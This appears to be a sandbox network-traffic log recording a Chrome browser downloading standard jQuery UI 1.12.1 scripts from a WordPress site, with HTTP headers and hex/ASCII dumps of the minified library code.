2024-04-11 21:26:42 UTC	429	IN	Data Raw: 35 31 33 33 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 32 30 2d 30 39 2d 32 35 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 64 61 74 61 2e 6a 73 2c 20 64 69 73 61 62 6c 65 2d 73 65 6c 65 63 74 69 6f 6e 2e 6a 73 2c 20 65 73 63 61 70 65 2d 73 65 6c 65 63 74 6f 72 2e 6a 73 2c 20 66 6f 63 75 73 61 62 6c 65 2e 6a 73 2c 20 66 6f 72 6d 2d 72 65 73 65 74 2d 6d 69 78 69 6e 2e 6a 73 2c 20 66 6f 72 6d 2e 6a 73 2c 20 69 65 2e 6a 73 2c 20 6a 71 75 65 72 79 2d 31 2d 37 2e 6a 73 2c 20 6b 65 79 63 6f 64 65 2e 6a 73 2c 20 6c 61 62 65 6c 73 2e 6a 73 2c 20 70 6c 75 67 69 6e 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 73 61 66 65 2d 61 63 74 69 76 65 2d 65 6c Data Ascii: 5133/! jQuery UI - v1.12.1 - 2020-09-25 http://jqueryui.com* Includes: data.js, disable-selection.js, escape-selector.js, focusable.js, form-reset-mixin.js, form.js, ie.js, jquery-1-7.js, keycode.js, labels.js, plugin.js, position.js, safe-active-el
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 74 29 3a 74 28 6a 51 75 65 72 79 29 7d 28 66 75 6e 63 74 69 6f 6e 28 78 29 7b 76 61 72 20 74 2c 65 2c 6e 2c 57 2c 43 2c 6f 2c 73 2c 72 2c 6c 2c 61 2c 69 2c 68 3b 66 75 6e 63 74 69 6f 6e 20 45 28 74 2c 65 2c 69 29 7b 72 65 74 75 72 6e 5b 70 61 72 73 65 46 6c 6f 61 74 28 74 5b 30 5d 29 2a 28 61 2e 74 65 73 74 28 74 5b 30 5d 29 3f 65 2f 31 30 30 3a 31 29 2c 70 61 72 73 65 46 6c 6f 61 74 28 74 5b 31 5d 29 2a 28 61 2e 74 65 73 74 28 74 5b 31 5d 29 3f 69 2f 31 30 30 3a 31 29 5d 7d 66 75 6e 63 74 69 6f 6e 20 48 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 70 61 72 73 65 49 6e 74 28 78 2e 63 73 73 28 74 2c 65 29 Data Ascii: nction"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)}(function(x){var t,e,n,W,C,o,s,r,l,a,i,h;function E(t,e,i){return[parseFloat(t[0])(a.test(t[0])?e/100:1),parseFloat(t[1])(a.test(t[1])?i/100:1)]}function H(t,e){return parseInt(x.css(t,e)
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 69 63 65 6e 73 65 0a 20 2a 2f 0a 78 2e 75 69 2e 66 6f 63 75 73 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 2c 6e 2c 6f 2c 73 2c 72 3d 74 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 61 72 65 61 22 3d 3d 3d 72 3f 28 6e 3d 28 69 3d 74 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2e 6e 61 6d 65 2c 21 28 21 74 2e 68 72 65 66 7c 7c 21 6e 7c 7c 22 6d 61 70 22 21 3d 3d 69 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 26 26 28 30 3c 28 6e 3d 78 28 22 69 6d 67 5b 75 73 65 6d 61 70 3d 27 23 22 2b 6e 2b 22 27 5d 22 29 29 2e 6c 65 6e 67 74 68 26 26 6e 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 29 29 3a 28 2f 5e 28 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 Data Ascii: icense */x.ui.focusable=function(t,e){var i,n,o,s,r=t.nodeName.toLowerCase();return"area"===r?(n=(i=t.parentNode).name,!(!t.href\|\|!n\|\|"map"!==i.nodeName.toLowerCase())&&(0<(n=x("img[usemap='#"+n+"']")).length&&n.is(":visible"))):(/^(input\|select\|textare
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 74 68 69 73 2e 66 6f 72 6d 2e 6c 65 6e 67 74 68 26 26 28 28 74 3d 74 68 69 73 2e 66 6f 72 6d 2e 64 61 74 61 28 22 75 69 2d 66 6f 72 6d 2d 72 65 73 65 74 2d 69 6e 73 74 61 6e 63 65 73 22 29 29 2e 73 70 6c 69 63 65 28 78 2e 69 6e 41 72 72 61 79 28 74 68 69 73 2c 74 29 2c 31 29 2c 74 2e 6c 65 6e 67 74 68 3f 74 68 69 73 2e 66 6f 72 6d 2e 64 61 74 61 28 22 75 69 2d 66 6f 72 6d 2d 72 65 73 65 74 2d 69 6e 73 74 61 6e 63 65 73 22 2c 74 29 3a 74 68 69 73 2e 66 6f 72 6d 2e 72 65 6d 6f 76 65 44 61 74 61 28 22 75 69 2d 66 6f 72 6d 2d 72 65 73 65 74 2d 69 6e 73 74 61 6e 63 65 73 22 29 2e 6f 66 66 28 22 72 65 73 65 74 2e 75 69 2d 66 6f 72 6d 2d 72 65 73 65 74 22 29 29 7d 7d 2c 78 2e 75 69 2e 69 65 3d 21 21 2f 6d 73 69 65 20 5b 5c 77 2e 5d 2b 2f 2e 65 78 65 63 28 6e 61 Data Ascii: this.form.length&&((t=this.form.data("ui-form-reset-instances")).splice(x.inArray(this,t),1),t.length?this.form.data("ui-form-reset-instances",t):this.form.removeData("ui-form-reset-instances").off("reset.ui-form-reset"))}},x.ui.ie=!!/msie [\w.]+/.exec(na
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 2f 0a 78 2e 75 69 2e 6b 65 79 43 6f 64 65 3d 7b 42 41 43 4b 53 50 41 43 45 3a 38 2c 43 4f 4d 4d 41 3a 31 38 38 2c 44 45 4c 45 54 45 3a 34 36 2c 44 4f 57 4e 3a 34 30 2c 45 4e 44 3a 33 35 2c 45 4e 54 45 52 3a 31 33 2c 45 53 43 41 50 45 3a 32 37 2c 48 4f 4d 45 3a 33 36 2c 4c 45 46 54 3a 33 37 2c 50 41 47 45 5f 44 4f 57 4e 3a 33 34 2c 50 41 47 45 5f 55 50 3a 33 33 2c 50 45 52 49 4f 44 3a 31 39 30 2c 52 49 Data Ascii: * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */x.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RI
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 67 68 74 2f 2c 73 3d 2f 74 6f 70 7c 63 65 6e 74 65 72 7c 62 6f 74 74 6f 6d 2f 2c 72 3d 2f 5b 5c 2b 5c 2d 5d 5c 64 2b 28 5c 2e 5b 5c 64 5d 2b 29 3f 25 3f 2f 2c 6c 3d 2f 5e 5c 77 2b 2f 2c 61 3d 2f 25 24 2f 2c 69 3d 78 2e 66 6e 2e 70 6f 73 69 74 69 6f 6e 2c 78 2e 70 6f 73 69 74 69 6f 6e 3d 7b 73 63 72 6f 6c 6c 62 61 72 57 69 64 74 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 29 72 65 74 75 72 6e 20 6e 3b 76 61 72 20 74 2c 65 3d 78 28 22 3c 64 69 76 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 35 30 70 78 3b 68 65 69 67 68 74 3a 35 30 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 27 3e 3c 64 69 76 20 73 74 79 6c 65 3d 27 68 Data Ascii: ght/,s=/top\|center\|bottom/,r=/[\+\-]\d+(\.[\d]+)?%?/,l=/^\w+/,a=/%$/,i=x.fn.position,x.position={scrollbarWidth:function(){if(void 0!==n)return n;var t,e=x("<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='h
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 66 74 3a 30 7d 7d 3a 78 2e 69 73 57 69 6e 64 6f 77 28 74 29 3f 7b 77 69 64 74 68 3a 65 2e 77 69 64 74 68 28 29 2c 68 65 69 67 68 74 3a 65 2e 68 65 69 67 68 74 28 29 2c 6f 66 66 73 65 74 3a 7b 74 6f 70 3a 65 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 2c 6c 65 66 74 3a 65 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 7d 7d 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 3f 7b 77 69 64 74 68 3a 30 2c 68 65 69 67 68 74 3a 30 2c 6f 66 66 73 65 74 3a 7b 74 6f 70 3a 74 2e 70 61 67 65 59 2c 6c 65 66 74 3a 74 2e 70 61 67 65 58 7d 7d 3a 7b 77 69 64 74 68 3a 65 2e 6f 75 74 65 72 57 69 64 74 68 28 29 2c 68 65 69 67 68 74 3a 65 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 2c 6f 66 66 73 65 74 3a 65 2e 6f 66 66 73 65 74 28 29 7d 3b 72 65 74 75 72 6e 20 76 5b 30 5d 2e 70 72 65 76 65 Data Ascii: ft:0}}:x.isWindow(t)?{width:e.width(),height:e.height(),offset:{top:e.scrollTop(),left:e.scrollLeft()}}:t.preventDefault?{width:0,height:0,offset:{top:t.pageY,left:t.pageX}}:{width:e.outerWidth(),height:e.outerHeight(),offset:e.offset()};return v[0].preve
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 67 65 74 57 69 64 74 68 3a 64 2c 74 61 72 67 65 74 48 65 69 67 68 74 3a 70 2c 65 6c 65 6d 57 69 64 74 68 3a 6c 2c 65 6c 65 6d 48 65 69 67 68 74 3a 61 2c 63 6f 6c 6c 69 73 69 6f 6e 50 6f 73 69 74 69 6f 6e 3a 69 2c 63 6f 6c 6c 69 73 69 6f 6e 57 69 64 74 68 3a 6f 2c 63 6f 6c 6c 69 73 69 6f 6e 48 65 69 67 68 74 3a 73 2c 6f 66 66 73 65 74 3a 5b 75 5b 30 5d 2b 63 5b 30 5d 2c 75 5b 31 5d 2b 63 5b 31 5d 5d 2c 6d 79 3a 66 2e 6d 79 2c 61 74 3a 66 2e 61 74 2c 77 69 74 68 69 6e 3a 62 2c 65 6c 65 6d 3a 72 7d 29 7d 29 2c 66 2e 75 73 69 6e 67 26 26 28 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 67 2e 6c 65 66 74 2d 68 2e 6c 65 66 74 2c 69 3d 65 2b 64 2d 6c 2c 6e 3d 67 2e 74 6f 70 2d 68 2e 74 6f 70 2c 6f 3d 6e 2b 70 2d 61 2c 73 3d 7b 74 61 72 67 65 74 3a Data Ascii: getWidth:d,targetHeight:p,elemWidth:l,elemHeight:a,collisionPosition:i,collisionWidth:o,collisionHeight:s,offset:[u[0]+c[0],u[1]+c[1]],my:f.my,at:f.at,within:b,elem:r})}),f.using&&(t=function(t){var e=g.left-h.left,i=e+d-l,n=g.top-h.top,o=n+p-a,s={target:
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 69 3d 65 2e 77 69 74 68 69 6e 2c 6e 3d 69 2e 6f 66 66 73 65 74 2e 6c 65 66 74 2b 69 2e 73 63 72 6f 6c 6c 4c 65 66 74 2c 6f 3d 69 2e 77 69 64 74 68 2c 73 3d 69 2e 69 73 57 69 6e 64 6f 77 3f 69 2e 73 63 72 6f 6c 6c 4c 65 66 74 3a 69 2e 6f 66 66 73 65 74 2e 6c 65 66 74 2c 72 3d 74 2e 6c 65 66 74 2d 65 2e 63 6f 6c 6c 69 73 69 6f 6e 50 6f 73 69 74 69 6f 6e 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 6c 3d 72 2d 73 2c 61 3d 72 2b 65 2e 63 6f 6c 6c 69 73 69 6f 6e 57 69 64 74 68 2d 6f 2d 73 2c 68 3d 22 6c 65 66 74 22 3d 3d 3d 65 2e 6d 79 5b 30 5d 3f 2d 65 2e 65 6c 65 6d 57 69 64 74 68 3a 22 72 69 67 68 74 22 3d 3d 3d 65 2e 6d 79 5b 30 5d 3f 65 2e 65 6c 65 6d 57 69 64 74 68 3a 30 2c 69 3d 22 6c 65 66 74 22 3d 3d 3d 65 2e 61 74 5b 30 5d 3f 65 2e 74 61 72 Data Ascii: ){var i=e.within,n=i.offset.left+i.scrollLeft,o=i.width,s=i.isWindow?i.scrollLeft:i.offset.left,r=t.left-e.collisionPosition.marginLeft,l=r-s,a=r+e.collisionWidth-o-s,h="left"===e.my[0]?-e.elemWidth:"right"===e.my[0]?e.elemWidth:0,i="left"===e.at[0]?e.tar
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 78 28 74 29 2e 74 72 69 67 67 65 72 28 22 62 6c 75 72 22 29 7d 2c 0a 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 55 49 20 53 63 72 6f 6c 6c 20 50 61 72 65 6e 74 20 31 2e 31 32 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 2f 0a 78 2e 66 6e 2e 73 63 72 6f 6c 6c 50 61 72 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 63 73 73 28 22 Data Ascii: x(t).trigger("blur")},/! jQuery UI Scroll Parent 1.12.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */x.fn.scrollParent=function(t){var e=this.css("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.17	49812	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:42 UTC	727	OUT	GET /wp-includes/js/jquery/ui/mouse.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:42 UTC	939	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:42 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e71cba942cb-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"5ff61da4-d34" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 06 Jan 2021 20:29:24 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YQLNyFX0acQ3RBUxz6EKrZsga%2FrCNI4NlApuU3EZEhZD6rAkoaO0bF5yepa3msZOikz0DeVHU9vl41lg3X4LMVJFmhkJf%2BlcywHTCCIOttNlgv%2F6o19LQ94vJNKcngbOboo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:42 UTC	430	IN	Data Raw: 64 33 34 0d 0a 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 55 49 20 4d 6f 75 73 65 20 31 2e 31 32 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 2c 22 2e 2f 63 Data Ascii: d34/! jQuery UI Mouse 1.12.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */!function(e){"function"==typeof define&&define.amd?define(["jquery","./c
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 63 74 2c 20 6f 70 74 69 6f 6e 22 2c 64 69 73 74 61 6e 63 65 3a 31 2c 64 65 6c 61 79 3a 30 7d 2c 5f 6d 6f 75 73 65 49 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 6f 6e 28 22 6d 6f 75 73 65 64 6f 77 6e 2e 22 2b 74 68 69 73 2e 77 69 64 67 65 74 4e 61 6d 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 5f 6d 6f 75 73 65 44 6f 77 6e 28 65 29 7d 29 2e 6f 6e 28 22 63 6c 69 63 6b 2e 22 2b 74 68 69 73 2e 77 69 64 67 65 74 4e 61 6d 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 30 3d 3d 3d 6f 2e 64 61 74 61 28 65 2e 74 61 72 67 65 74 2c 74 2e 77 69 64 67 65 74 4e 61 6d 65 2b 22 2e 70 72 65 76 65 6e 74 43 6c 69 63 6b 45 76 65 6e 74 22 29 29 72 65 74 75 72 6e 20 6f 2e Data Ascii: ct, option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.on("mousedown."+this.widgetName,function(e){return t._mouseDown(e)}).on("click."+this.widgetName,function(e){if(!0===o.data(e.target,t.widgetName+".preventClickEvent"))return o.
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 5f 6d 6f 75 73 65 55 70 28 65 29 7d 2c 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 2e 6f 6e 28 22 6d 6f 75 73 65 6d 6f 76 65 2e 22 2b 74 68 69 73 2e 77 69 64 67 65 74 4e 61 6d 65 2c 74 68 69 73 2e 5f 6d 6f 75 73 65 4d 6f 76 65 44 65 6c 65 67 61 74 65 29 2e 6f 6e 28 22 6d 6f 75 73 65 75 70 2e 22 2b 74 68 69 73 2e 77 69 64 67 65 74 4e 61 6d 65 2c 74 68 69 73 2e 5f 6d 6f 75 73 65 55 70 44 65 6c 65 67 61 74 65 29 2c 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 6e 3d 21 30 29 29 3a 21 30 7d 7d 2c 5f 6d 6f 75 73 65 4d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 74 68 69 73 2e 5f 6d 6f 75 73 65 4d 6f 76 65 64 29 7b 69 66 28 6f 2e 75 69 2e 69 65 26 26 28 21 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 7c 7c 64 6f 63 75 6d 65 Data Ascii: _mouseUp(e)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),n=!0)):!0}},_mouseMove:function(e){if(this._mouseMoved){if(o.ui.ie&&(!document.documentMode\|\|docume
2024-04-11 21:26:42 UTC	219	IN	Data Raw: 73 65 44 6f 77 6e 45 76 65 6e 74 2e 70 61 67 65 59 2d 65 2e 70 61 67 65 59 29 29 3e 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 69 73 74 61 6e 63 65 7d 2c 5f 6d 6f 75 73 65 44 65 6c 61 79 4d 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 6f 75 73 65 44 65 6c 61 79 4d 65 74 7d 2c 5f 6d 6f 75 73 65 53 74 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 5f 6d 6f 75 73 65 44 72 61 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 5f 6d 6f 75 73 65 53 74 6f 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 5f 6d 6f 75 73 65 43 61 70 74 75 72 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 30 7d 7d 29 7d 29 3b 0d 0a Data Ascii: seDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}})});
2024-04-11 21:26:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.17	49813	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:42 UTC	730	OUT	GET /wp-includes/js/jquery/ui/sortable.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:42 UTC	940	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:42 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e724a7d4364-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"605d329a-60ce" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 26 Mar 2021 01:02:18 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1CR2DAGrC3CfuHFsAr4lcrLYrCdFIRjR%2FUmXTc45%2FOE2LzxrMTckqyQXtXUhzW%2B34d0mKQhuyb23WfBWDBHI6owb2APwrkj2jkLdFQdOuLJ7RsHVx7aHS6zY8DXIVJyyc2s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:42 UTC	429	IN	Data Raw: 36 30 63 65 0d 0a 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 55 49 20 53 6f 72 74 61 62 6c 65 20 31 2e 31 32 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 2c Data Ascii: 60ce/! jQuery UI Sortable 1.12.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */!function(t){"function"==typeof define&&define.amd?define(["jquery",
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 63 6f 6e 6e 65 63 74 57 69 74 68 3a 21 31 2c 63 6f 6e 74 61 69 6e 6d 65 6e 74 3a 21 31 2c 63 75 72 73 6f 72 3a 22 61 75 74 6f 22 2c 63 75 72 73 6f 72 41 74 3a 21 31 2c 64 72 6f 70 4f 6e 45 6d 70 74 79 3a 21 30 2c 66 6f 72 63 65 50 6c 61 63 65 68 6f 6c 64 65 72 53 69 7a 65 3a 21 31 2c 66 6f 72 63 65 48 65 6c 70 65 72 53 69 7a 65 3a 21 31 2c 67 72 69 64 3a 21 31 2c 68 61 6e 64 6c 65 3a 21 31 2c 68 65 6c 70 65 72 3a 22 6f 72 69 67 69 6e 61 6c 22 2c 69 74 65 6d 73 3a 22 3e 20 2a 22 2c 6f 70 61 63 69 74 79 3a 21 31 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 21 31 2c 72 65 76 65 72 74 3a 21 31 2c 73 63 72 6f 6c 6c 3a 21 30 2c 73 63 72 6f 6c 6c 53 65 6e 73 69 74 69 76 69 74 79 3a 32 30 2c 73 63 72 6f 6c 6c 53 70 65 65 64 3a 32 30 2c 73 63 6f 70 65 3a 22 64 65 66 61 Data Ascii: connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"defa
